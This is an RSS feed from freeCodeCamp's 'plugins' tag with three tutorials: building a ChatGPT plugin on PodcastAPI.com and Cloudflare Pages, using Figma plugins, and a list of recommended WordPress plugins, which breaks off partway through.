<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ plugins - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ plugins - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Tue, 02 Jun 2026 17:11:37 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/plugins/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ How to Build a ChatGPT Plugin – Case Study using PodcastAPI.com and Serverless Cloudflare Pages ]]>
                </title>
                <description>
                    <![CDATA[ By Wenbin Fang ChatGPT is a highly intelligent auto-completion tool. It takes instructions or questions in natural language and provides good enough text-based outputs.  But there’s a catch — ChatGPT’s knowledge only goes up until September 2021. So,... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-build-a-chatgpt-plugin-case-study/</link>
                <guid isPermaLink="false">66d4617636c45a88f96b7d0f</guid>
                
                    <category>
                        <![CDATA[ Artificial Intelligence ]]>
                    </category>
                
                    <category>
                        <![CDATA[ chatgpt ]]>
                    </category>
                
                    <category>
                        <![CDATA[ plugins ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 22 Jun 2023 23:01:49 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/06/56ae8d3bf6a04a8b85c96c695f29643f.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Wenbin Fang</p>
<p><a target="_blank" href="https://chat.openai.com/">ChatGPT</a> is a highly intelligent auto-completion tool. It takes instructions or questions in natural language and provides good enough text-based outputs. </p>
<p>But there’s a catch — ChatGPT’s knowledge only goes up until September 2021. So, as of writing this blog post (June 2023), the model itself is not aware of any events or data after September 2021.</p>
<p><img src="https://production.listennotes.com/web/image/5d9ab8edda604b2398d113fd45044b1d.png" alt="Image" width="1466" height="318" loading="lazy"></p>
<p>Here is where <a target="_blank" href="https://openai.com/blog/chatgpt-plugins">ChatGPT plugins</a> come to the rescue. These plugins allow ChatGPT to interact with external APIs to gain access to up-to-date information. They can also help ChatGPT perform certain actions like triggering a Zapier task or sending an email.</p>
<p>From the perspective of an API provider (like <a target="_blank" href="https://www.listennotes.com/">Listen Notes</a> providing <a target="_blank" href="https://www.podcastapi.com/">PodcastAPI.com</a>), creating a ChatGPT plugin is similar to providing a user-friendly, AI-powered interface for your API. For enthusiastic users of ChatGPT, building custom plugins can extend its use cases significantly.</p>
<p>In this tutorial, we’ll leverage a real-world example of the <a target="_blank" href="https://ai.listennotes.com/">Listen Notes ChatGPT plugin</a> (already available on the Plugin store) as a case study to illuminate the process of creating a ChatGPT plugin. </p>
<p>The process is simpler than you might assume. By the end of this article, you should have the necessary understanding to employ any APIs and craft your very own ChatGPT plugin.</p>
<p>Feel free to try out the <a target="_blank" href="https://ai.listennotes.com/">Listen Notes ChatGPT Plugin</a> and explore the source code <a target="_blank" href="https://github.com/ListenNotes/listennotes-chatgpt-plugin">on GitHub</a>.</p>
<h2 id="heading-how-do-chatgpt-plugins-work"><strong>How Do ChatGPT Plugins Work?</strong></h2>
<p>For an end user, the process of using a ChatGPT plugin is quite straightforward. You just need to activate the plugin on the ChatGPT user interface, and then type in the prompts.</p>
<p><img src="https://production.listennotes.com/web/image/f8dcb56eeedb4b7bb810ddfc64a97028.png" alt="Image" width="1462" height="1428" loading="lazy">
<em>Example of a ChatGPT plugin at work</em></p>
<p>For developers, the process requires some more work. You'll need to provide a hosted <strong>ai-plugin.json</strong> file using your own domain name. This file includes metadata about the plugin and an OpenAPI specification detailing the available API endpoints that ChatGPT can interact with. </p>
<p>Essentially, a ChatGPT plugin is a smart API caller. The user employs natural language to call these external APIs instead of writing code. All the API endpoints, as well as the <strong>ai-plugin.json</strong> and <strong>openapi.json</strong>, should be hosted under the same domain name.</p>
<h2 id="heading-case-study-how-to-build-a-podcast-discovery-chatgpt-plugin-using-podcastapicom-and-cloudflare-pages"><strong>Case study: How to Build a Podcast Discovery ChatGPT Plugin using PodcastAPI.com and Cloudflare Pages</strong></h2>
<h3 id="heading-requirements"><strong>Requirements</strong></h3>
<p>Our plugin should be able to search for podcasts or episodes based on keywords, languages, countries, and audio length, among other factors.</p>
<p>We'll use PodcastAPI.com and Cloudflare Pages to build this ChatGPT plugin.</p>
<p><a target="_blank" href="https://www.podcastapi.com/">PodcastAPI.com</a> is a widely used Podcast API globally, and it powers <a target="_blank" href="https://www.listennotes.com/api/apps/">thousands of podcast apps/websites</a>. It’s a typical RESTful API. </p>
<p>For example, to find podcasts related to “startup” in English, you send an API request like <strong>GET /search?q=startup&amp;type=podcast&amp;language=English</strong>. You can easily try out all of Podcast API endpoints with the mock server and see how the response JSON data look like <a target="_blank" href="https://www.listennotes.com/api/docs/?test=1">on the API docs page</a>.</p>
<p><a target="_blank" href="https://pages.cloudflare.com/">Cloudflare Pages</a> is a serverless platform with a generous free quota. It allows you to build a dynamic web app in JavaScript and send requests to external APIs securely without exposing API credentials. And since it’s serverless, you don’t need to worry about server provisioning, scalability, or operational issues. </p>
<p>We’ve gained some experience using Cloudflare Pages from building <a target="_blank" href="https://www.microfeed.org/">microfeed</a> — a lightweight serverless WordPress alternative, which you can use to host podcasts and media files for free.</p>
<h3 id="heading-how-does-the-plugin-work-exactly"><strong>How does the plugin work exactly?</strong></h3>
<p>You can find the source code for the Listen Notes ChatGPT plugin on GitHub: <a target="_blank" href="http://github.com/ListenNotes/listennotes-chatgpt-plugin">github.com/ListenNotes/listennotes-chatgpt-plugin</a>.</p>
<p>The plugin, built with JavaScript, is deployed as a web app on the serverless platform Cloudflare Pages. This deployment serves three vital resources under the custom domain name ai.listennotes.com:</p>
<ol>
<li>The <strong>ai-plugin.json</strong> file: This can always be found at <a target="_blank" href="https://ai.listennotes.com/.well-known/ai-plugin.json">https://ai.listennotes.com/.well-known/ai-plugin.json</a>. The path for this file is static and should not be changed. <a target="_blank" href="https://github.com/ListenNotes/listennotes-chatgpt-plugin/blob/main/functions/.well-known/ai-plugin.json/index.js">Here</a> is the source code for your reference.</li>
<li>The <strong>openapi.json</strong> file: This location is determined by the <strong>ai-plugin.json file</strong>. In our case, it’s hosted at <a target="_blank" href="https://ai.listennotes.com/chatgpt-plugin/openapi.json">https://ai.listennotes.com/chatgpt-plugin/openapi.json</a>. You can check out the source code <a target="_blank" href="https://github.com/ListenNotes/listennotes-chatgpt-plugin/blob/main/functions/chatgpt-plugin/openapi.json/index.js">here</a>.</li>
<li>Proxy API endpoints: For example, https://ai.listennotes.com/api/v2/search_episodes. These are essentially thin wrappers of the actual PodcastAPI.com endpoints. The source code for these endpoints can be found <a target="_blank" href="https://github.com/ListenNotes/listennotes-chatgpt-plugin/tree/main/functions/api/v2">here</a>.</li>
</ol>
<p>So, how do these pieces work together? Let’s delve deeper:</p>
<p>Firstly, ChatGPT identifies the <strong>ai-plugin.json</strong> file from its fixed path <strong>/.well-known/ai-plugin.json</strong>. This file contains essential metadata about the plugin and informs ChatGPT about the location of the <strong>openapi.json</strong> file. Here's what that looks like:</p>
<p><img src="https://production.listennotes.com/web/image/439e931c7a7e460f834d3b2cdda20c19.png" alt="Image" width="1314" height="1244" loading="lazy"></p>
<p>Secondly, ChatGPT uses the <strong>openapi.json</strong> file to understand the available API endpoints and their parameters. This file essentially helps ChatGPT understand how to interact with the API.</p>
<p><img src="https://production.listennotes.com/web/image/89307fbe9bb541cfab24f4a879f69856.png" alt="Image" width="1600" height="1634" loading="lazy"></p>
<p>Finally, using the description and other metadata specified in the <strong>openapi.json</strong> file, ChatGPT can translate natural language prompts into specific API requests. </p>
<p>For example, a user's prompt like "search startup podcasts in English" is translated by ChatGPT into a GET request to <strong>GET /search_podcasts?q=startup&amp;language=English</strong>.</p>
<h3 id="heading-securing-the-keys-to-the-kingdom">Securing the Keys to the Kingdom</h3>
<p>When working with external APIs, like PodcastAPI.com in our case, an important concern is maintaining the confidentiality of API keys. You can do this through layers of indirection — “All problems in computer science can be solved by another level of indirection.” :)</p>
<p>Firstly, the real API key (<strong>LISTEN_API_KEY</strong> in our case) is provided as an environment variable on Cloudflare Pages. This ensures that the API key is never exposed in the source code.</p>
<p>Next, we utilize a secret (<strong>CHATGPT_SECRET</strong> in our case) for ChatGPT to call our proxy API endpoints. When submitting the plugin to ChatGPT, you will be prompted to provide this secret.</p>
<p>After providing the secret, ChatGPT will issue a verification token (<strong>CHATGPT_VERIFICATION_TOKEN</strong> in our case), which is placed in the ai-plugin.json file. It’s perfectly fine for this verification token to be public.</p>
<p>In our case, the <strong>LISTEN_API_KEY</strong>, <strong>CHATGPT_SECRET</strong>, and <strong>CHATGPT_VERIFICATION_TOKEN</strong> are all stored as encrypted environment variables on Cloudflare Pages, effectively kept out of the public eye:</p>
<p><img src="https://production.listennotes.com/web/image/5c9e02cdc2984f2993e033c1acda7b9c.png" alt="Image" width="1600" height="554" loading="lazy"></p>
<h3 id="heading-how-to-navigate-the-review-process">How to Navigate the Review Process</h3>
<p>Before your plugin is listed in the ChatGPT Plugin store, you can test it via your custom domain (in our case, ai.listennotes.com).</p>
<p>When you’re ready to submit your plugin for review, you’ll do so via an Intercom ticket. You’ll need to answer several questions and provide some example prompts. From our experience, it took around 2 days for a ChatGPT team member to review our ticket.</p>
<p>Initially, our submission was rejected because our description did not end with punctuation. We promptly added a period to our ai-plugin.json’s description, resubmitted, and were approved within 2 hours. So, from submission to approval, it was roughly a 2-day process.</p>
<h2 id="heading-how-to-adapt-the-process-for-other-apis"><strong>How to Adapt the Process for Other APIs</strong></h2>
<p>If you wish to adapt <a target="_blank" href="https://github.com/ListenNotes/listennotes-chatgpt-plugin">the listennotes-chatgpt-plugin repository</a> to work with other APIs, there are three main areas you’ll need to modify:</p>
<ol>
<li>Update <strong>ai-plugin.json</strong> (<a target="_blank" href="https://github.com/ListenNotes/listennotes-chatgpt-plugin/blob/main/functions/.well-known/ai-plugin.json/index.js">source code</a>): You’ll find more details on this at <a target="_blank" href="https://platform.openai.com/docs/plugins/getting-started/plugin-manifest">openai.com</a>.</li>
<li>Update <strong>openapi.json</strong> (<a target="_blank" href="https://github.com/ListenNotes/listennotes-chatgpt-plugin/blob/main/functions/chatgpt-plugin/openapi.json/index.js">source code</a>): This is crucial as ChatGPT relies on this OpenAPI spec to identify available proxy endpoints. For more insights, check out <a target="_blank" href="https://platform.openai.com/docs/plugins/getting-started/openapi-definition">openai.com</a>.</li>
<li>Update proxy API endpoints (<a target="_blank" href="https://github.com/ListenNotes/listennotes-chatgpt-plugin/tree/main/functions/api/v2">source code</a>)to align with other APIs: The proxy endpoints that run on Cloudflare Pages need to be updated to send API requests to your chosen APIs. You may want to familiarize yourself with <a target="_blank" href="https://developers.cloudflare.com/pages/platform/functions/get-started/">how Cloudflare Pages functions work</a>.</li>
</ol>
<p>After making these updates, you can <a target="_blank" href="https://github.com/ListenNotes/listennotes-chatgpt-plugin#deploying-to-production">deploy to Cloudflare Pages</a> and then <a target="_blank" href="https://platform.openai.com/docs/plugins/review">submit your plugin to ChatGPT for review</a>.</p>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>While this overview aims to provide useful information, keep in mind that the ChatGPT plugin is still in beta and subject to change. </p>
<p>We hope to keep this post updated as changes arise. The world of AI is fast-paced, but with a solid understanding of these principles, you’ll be well-equipped to navigate it.</p>
<p>You can find this article and many others on <a target="_blank" href="https://www.listennotes.com/blog/how-to-build-a-chatgpt-plugin-a-case-study-using-78/">listennotes.com</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Use Plugins in Figma ]]>
                </title>
                <description>
                    <![CDATA[ In this article, you'll learn how to install plugins in Figma. You'll also get to know some really cool Figma plugins that every designer and developer should use.  Plugins help make your design process easier and smoother. From image assets to embed... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/plugins-in-figma/</link>
                <guid isPermaLink="false">66d03a35dcbab93f8b58df91</guid>
                
                    <category>
                        <![CDATA[ Design ]]>
                    </category>
                
                    <category>
                        <![CDATA[ figma ]]>
                    </category>
                
                    <category>
                        <![CDATA[ plugins ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Design ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Faith Olohijere ]]>
                </dc:creator>
                <pubDate>Mon, 14 Mar 2022 20:42:03 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2022/03/pexels-picjumbocom-196645.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In this article, you'll learn how to install plugins in Figma. You'll also get to know some really cool Figma plugins that every designer and developer should use. </p>
<p>Plugins help make your design process easier and smoother. From image assets to embedding maps into your designs, plugins are easy to use and they help you create beautiful, complex designs in less time.</p>
<h2 id="heading-how-to-install-plugins-on-figma">How to Install Plugins on Figma</h2>
<p>Figma makes it easy for you to install plugins which are quite essential for your designs. You can install plugins from different places.</p>
<h3 id="heading-how-to-install-a-plugin-from-your-account">How to install a plugin from your account</h3>
<p>To install a plugin from your account, you just have to:</p>
<ol>
<li>Login to your Figma account</li>
<li>Click on <strong>Explore Community</strong> at the top-left corner of your screen:</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-11-1.png" alt="Image" width="600" height="400" loading="lazy"></p>
<ol start="3">
<li>Select <strong>Plugins</strong> from the options at the top:</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-11--1--1.png" alt="Image" width="600" height="400" loading="lazy"></p>
<ol start="4">
<li>Search for your preferred plugin and install it:</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-11--2--1.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Click on the plugin name to open the plugin page and learn more about it.</p>
<p>You can also see plugins already installed on your Figma account.</p>
<h3 id="heading-how-to-install-a-plugin-in-the-file">‌‌How to install a plugin in the file</h3>
<ol>
<li>Right click on the canvas – your cursor could be positioned anywhere.</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-11--6-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<ol start="2">
<li><p>Hover your cursor on <strong>Plugins,</strong> which will bring up all installed plugins.</p>
</li>
<li><p>Scroll down to <strong>Browse plugins in Community</strong> and click on it. This will open Figma Community in a separate tab.</p>
</li>
</ol>
<h2 id="heading-how-to-add-plugins-on-a-pc">‌‌‌‌How to Add Plugins on a PC</h2>
<p>‌‌There are quite a number of ways to add plugins to your designs.‌‌</p>
<h3 id="heading-add-plugins-from-the-file-menu">Add plugins from the File menu</h3>
<p>Access the File menu at the top left corner of your screen in Figma. The File menu contains functions like edit, view, and text. You can also run your plugins from the menu.</p>
<ol>
<li>Click on <strong>File Menu</strong></li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-11--3--1.png" alt="Image" width="600" height="400" loading="lazy"></p>
<ol start="2">
<li>Hover your cursor on <strong>Plugins,</strong> which will bring up all your installed plugins.</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-11--4-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<ol start="3">
<li>Click on your preferred plugin and apply it to your design.</li>
</ol>
<h3 id="heading-how-to-add-plugins-with-ctrl">How to add plugins with Ctrl+/</h3>
<p>This is a <strong>Quick Action</strong> that helps you locate items, including plugins on your Figma file.</p>
<ol>
<li>Press Ctrl +/ on your keyboard. This action will lead to a window pop-up.</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-11--8-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<ol start="2">
<li>Input the name of the plugin on the pop-up window. There could be different plugins with similar names. In this case, Figma displays all related plugins so you can pick the exact one you want.</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-11--9-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<ol start="3">
<li>Press <strong>Enter</strong> or click on the plugin, once you find it, to start using it in the file.</li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-11--5--1.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-8-figma-plugins-every-designer-should-know">8 Figma Plugins Every Designer Should Know</h2>
<p>There are lots of really helpful Figma plugins out there. Here's 8 really cool ones.</p>
<h3 id="heading-iconify">‌‌Iconify</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-13--4-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Designs can seem incomplete without icons. From Google Material Icons to Carbon icons, this Figma plugin has a wide collection of icons that many developers use to create beautiful, modern user interfaces.‌‌ </p>
<p>You can get icons in your preferred color, width, height, and size. You can also generate your SVG icon with this plugin.</p>
<h3 id="heading-pattern-hero">‌‌Pattern Hero</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-13--3-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This plugin helps you with different beautiful patterns for your designs. You can shuffle the patterns, and work with different templates.‌‌ You can also create grids and textures.</p>
<h3 id="heading-unsplash">Unsplash</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-13--6-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You need beautiful pictures to create beautiful designs. This amazing plugin helps you import images for your designs at a single click. </p>
<p>Using Unsplash, you won't need to waste your time searching through various portals for images – you get to download free images directly to Figma. You don't need to worry about the quality of the photos, as Unsplash images are usually of a very high quality. </p>
<h3 id="heading-remove-backgrounds">Remove Backgrounds</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-13--11-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Sometimes we download nice pictures for our designs, only to notice that the background of the image does not fit with the design. </p>
<p>As the name implies, the Remove Backgrounds plugin allows you to remove the background from your images. Just keep in mind that you do have to create a <a target="_blank" href="https://www.freecodecamp.org/news/p/b26f9177-65fe-46df-87cf-c21b8eb903e1/remove.bg.">remove.bg</a> account before you can use this plugin.</p>
<h3 id="heading-mapsicle">Mapsicle</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-13--8-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You don't need to use screenshot images for maps ever again. The Mapsicle Plugin helps you place maps easily into your designs. </p>
<p>With this plugin, you can search for any location in the world, and embed a map into your design. You can also adjust the style of the map.</p>
<h3 id="heading-ui-gradients">UI Gradients</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-13--14-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Gradients make designs look unique. uiGradients is a great gradient palette with tons of ready-to-use gradients for your next amazing design. </p>
<p>With this plugin, you don't have to worry about which hue is perfect for your design. Just go through the gradients and find the combination that works for you.</p>
<h3 id="heading-table-generator">‌‌Table Generator</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-13--12-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Table Generator saves you the time when you're data tables. You just have to copy and paste your data in and voilà! Your table is generated. </p>
<p>This plugin enables you align text, add constraints to your cell frame, and lots more.</p>
<h3 id="heading-storyset">‌‌StorySet</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2022/03/2022-03-13--10-.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This is an illustration plugin that lets you add illustrations to your work. StorySet contains hundreds of beautiful illustrations that you can use for your design. What's more, you can edit the illustrations' colors, styles, and backgrounds. You can also animate.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Plugins are essential when you're creating sophisticated designs. Just find the ones useful to you and learn how to add them to your designs.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Best WordPress Plugins – 15 Tools to Boost Your Productivity ]]>
                </title>
                <description>
                    <![CDATA[ If you work with WordPress, then you know just how important a good stack of plugins is. They were designed to improve everything from media handling, and basic features to security and more. You can have as many as you like, in theory, but don't go ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/best-wordpress-plugins/</link>
                <guid isPermaLink="false">66d45e3daad1510d0766b60b</guid>
                
                    <category>
                        <![CDATA[ plugins ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Productivity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ WordPress ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Edan Ben-Atar ]]>
                </dc:creator>
                <pubDate>Wed, 22 Dec 2021 20:19:42 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/10/15-WordPress-Plugins-You-Need-to-Know-About.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>If you work with WordPress, then you know just how important a good stack of plugins is. They were designed to improve everything from media handling, and basic features to security and more.</p>
<p>You can have as many as you like, in theory, but don't go overboard. A good rule of thumb is to keep the number of plugins to a minimum. In my [Ultimate WordPress guide](https://www.weblime.com/stories/the-ultimate-wordpress-guide), I explain that my soft limit is around 10.</p>
<p>This doesn't mean that a site with 12 or 13 plugins is bad. It means you should do your best to question each plugin installation and justify the need for it.</p>
<p>Keep in mind that the fewer plugins you have, the less troubleshooting you’ll have to do when something goes wrong. It’s also a good idea to avoid having multiple plugins that perform the same function. Not only can they conflict and cause issues, it's just more to manage without any real benefit.</p>
<p>But with so many plugins out there on the web, it can be hard to choose. To help you out, I’ve compiled a list of 15 plugins that are essential for boosting your productivity as a developer and as a businessperson.</p>
<h1 id="heading-best-wordpress-plugins">Best WordPress Plugins</h1>
<h2 id="heading-akismet-spam">Akismet Spam</h2>
<p><a target="_blank" href="https://akismet.com/wordpress/">According to their docs</a>, Akismet checks the comments and contact form submissions on your site against their global database of spam. If the plugin finds a match, it automatically marks it as spam, thus preventing your website from publishing malicious content.</p>
<p>This can save you the tens of hours of tedious work you would otherwise have to put into fighting spambots. These bots post the same comment on millions of websites, usually advertising websites that have nothing to do with your blog.</p>
<p>If you decide to leave these comments on your website, you risk infecting your visitors’ computers with various viruses, as this is what is hiding behind most of the spam links.</p>
<p>Spam comments can also hurt your SEO efforts as your website will automatically point links to suspicious websites.</p>
<p>It’s very easy to stay protected against these attacks just by installing Akismet. Once you add it to your WordPress website you just need to activate it.</p>
<p>Akismet has an <a target="_blank" href="https://wordpress.org/support/plugin/akismet/reviews/">average rating of 4.7 stars</a> out of 5 from 926 reviews.</p>
<h2 id="heading-wordfence-security">WordFence Security</h2>
<p>According to <a target="_blank" href="https://purplesec.us/resources/cyber-security-statistics/">PurpleSec</a>, cybercrime went up by a staggering 600% due to the COVID-19 pandemic. A great way to protect your WordPress installation is to add a security plugin.</p>
<p>Wordfence is the leading security plugin for WordPress. This means that a large majority of WordPress admins use it, including many who provide feedback about the plugin's bugs and functionality. This ensures that the plugin is constantly updated and gets better with each new version.</p>
<p>Wordfence helps you prevent hackers from exploiting your site by checking your files for vulnerabilities, scanning your site in real-time to detect malware, monitoring who accesses your site, blocking bad IPs, and more.</p>
<p>WordFence has an <a target="_blank" href="https://wordpress.org/support/plugin/wordfence/reviews/">average rating of 4.7 stars</a> out of 5 from 3,737 reviews.</p>
<h2 id="heading-wp-cerber">WP Cerber</h2>
<p>WP Cerber Security combines the functionality of Akismet with that of WordFence. If you want the complete suite of security features under the same plugin, then WP Cerber might be the right choice.</p>
<p>Cerber is an easy-to-set-up, admin-friendly anti-spam solution for protecting your contact and registration forms. Cerber Security is built with the same powerful Cerber anti-spam engine that protects comment sections on popular websites like Slashdot, Reddit, Digg, and others.</p>
<p>The plugin protects your site against comment spam by only allowing comments from registered users. Cerber Security offers an optional Captcha challenge form verification to further protect against bots.</p>
<p>Cerber CAPTCHA security is the industry's most accurate anti-spam technology available today which eliminates spam registrations and protects your contact form from automated attacks like email harvesters and bots.</p>
<p>WP Cerber has an <a target="_blank" href="https://wordpress.org/support/plugin/wp-cerber/reviews/">average rating of 4.9 stars</a> out of 5 from 554 reviews, which makes it one of the best in its category in terms of user feedback.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/10/yoast-wordpress.jpg" alt="Yoast WordPress view" width="600" height="400" loading="lazy"></p>
<h2 id="heading-yoast">Yoast</h2>
<p>Now that you have your website protected, it’s time to look at some plugins that make SEO a breeze.</p>
<p>Yoast is the most complete WordPress SEO plugin. It handles all aspects of optimizing your site for search engines, including keyword research, meta description, titles, and more. Yoast helps you make your website easily accessible to both humans and search engines like Google, Bing, or Yahoo.</p>
<p>Yoast provides the tools you need to optimize your on-page content, including page analysis, live meta boxes for each post type, post snippet preview, and the snippet editor.</p>
<p>With Yoast SEO running on your site, you'll become more familiar with SEO best practices and how the search engines view the content of your website. It’s one of the most important plugins that should be part of your WordPress stack.</p>
<p>Yoast is by far the most rated WordPress plugin with an <a target="_blank" href="https://wordpress.org/support/plugin/wordpress-seo/reviews/">average rating of 4.8 stars</a> out of 5 from 27,414 reviews.</p>
<h2 id="heading-rankmath">RankMath</h2>
<p>Rankmath is an algorithmic content generator. You can use it to create SEO-optimized content while saving you a ton of time.</p>
<p>RankMaths’s simple interface helps you create unique articles, blogs posts, pages, custom URLs for backlinks, and more in minutes.</p>
<p>Rankmath saves you time by providing rich keyword suggestions based on popular questions. You can use these questions as they are or add them to your keywords to make them more relevant for Google's algorithm.</p>
<p>Moreover, RankMath will automatically generate schema markup for you that includes all possible types of information including location, contact details, and opening hours (where they make sense, of course).</p>
<p>Some people found RankMath to be better than Yoast when it comes to improving rankings, while others like to stick with the classic.</p>
<p>RankMath has an <a target="_blank" href="https://wordpress.org/support/plugin/seo-by-rank-math/reviews/">average rating of 4.9 stars</a> out of 5 from 3,874 reviews.</p>
<h2 id="heading-newsletter-glue">Newsletter Glue</h2>
<p>SEO plugins are a great way to boost your traffic, but what are you going to do with so many users? The answer is simple – subscribe them to your newsletter.</p>
<p>Newsletter Glue is a WordPress plugin that instantly turns your blog into a newsletter.</p>
<p>In under 5 minutes, you can turn your blog feed into your newsletter, segmenting and tagging subscribers however you want. No coding is required. No learning curve is required. It's the fastest way to make a newsletter from a blog.</p>
<p>Create a weekly newsletter in seconds by sending new and old posts to subscribers in one go. You can even send just a post title and summary in an instant if you want something shorter.</p>
<p>You can add tags and segments to any newsletter so different groups of readers get different newsletters depending on what they like reading about.</p>
<p>You can get the plugin for free and upgrade once your email list grows. It’s important to mention that if you are currently using another newsletter app, you will need to upgrade before you can migrate your contact list.</p>
<p>Newsletter Glue is rather new but packs an <a target="_blank" href="https://wordpress.org/support/plugin/newsletter-glue/reviews/">average rating of 5 stars</a> out of 5 from 12 reviews.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/10/start-woo@2x.jpg" alt="WooCommerce products view" width="600" height="400" loading="lazy"></p>
<h2 id="heading-woocommerce">WooCommerce</h2>
<p>Created by the team behind WordPress, WooCommerce is a powerful, flexible eCommerce solution that can help you build an online store. Because it’s built into the WordPress interface, you get all of the tools that come with WordPress. You can easily manage your storefront from your dashboard using familiar tools.</p>
<p>With its unique hooks system, you can extend WooCommerce to do exactly what you need it to do – and nothing more. Whether you want to add multiple currencies, integrate with other services, or use custom templates and styles, WooCommerce is up to the task.</p>
<p>WooCommerce benefits from the large community behind WordPress. There are over 30,000 free and premium templates available on Envato Market for you to choose from if you don't want to create your unique design.</p>
<p>The possibilities for building an online shop are endless with WooCommerce, and the best part is that it’s free.</p>
<p>WooCommerce has an <a target="_blank" href="https://wordpress.org/support/plugin/woocommerce/reviews/">average rating of 4.5 stars</a> out of 5 from 3,804 reviews.</p>
<h2 id="heading-updraftplus">UpdraftPlus</h2>
<p>UpdraftPlus is a revolutionary WordPress backup plugin that offers continuous backups, file versioning, staging of backups, and more. It allows for unlimited storage on the Updraft Vault, comes with easy restore options, and gives you the ability to clone websites on demand.</p>
<p>UpdraftPlus has been tested on over 3 million sites, offering the best WordPress backup solution for you on any website size. For an enterprise-level of power and security, it allows unlimited storage in their secure cloud vault. With its push-button restore options, UpdraftPlus is great for both beginners and experts alike.</p>
<p>With continuous backup, you can rest assured that your data will always be backed up. If your site crashes or is hacked or if you accidentally delete something that cannot be recovered from your blog/website then you can effortlessly get it back!</p>
<p>Making sure your website is backed up is especially important in today’s world. As I’ve previously mentioned, the number of hacks has increased 6 fold lately. You can prepare yourself for the worst with UpdaftPlus and save a ton of time and money in case you fall victim to hackers.</p>
<p>UpdraftPlus has an <a target="_blank" href="https://wordpress.org/support/plugin/updraftplus/reviews/">average rating of 4.8 stars</a> out of 5 from 5,589 reviews.</p>
<h2 id="heading-wp-super-cache">WP Super Cache</h2>
<p>WP Super Cache is a caching plugin for WordPress. It creates static HTML files from your dynamic WordPress blog. After an HTML file is generated, your web server will serve that file instead of processing the initial WordPress PHP scripts that were comparatively heavier.</p>
<p>The plugin includes an administration page where you can control the cache settings and view statistics about the cache hits and misses.</p>
<p>It also has a 'quick cache' mode which you can use to test the impact of caching on your site's performance. This option disables cache compression and gzip support, but allows you to see how quickly pages load without those features enabled (which can be useful information when deciding whether to enable them).</p>
<p>WP Super Cache saves you a ton of headaches by automatically speeding up your website. You just need to install and activate it.</p>
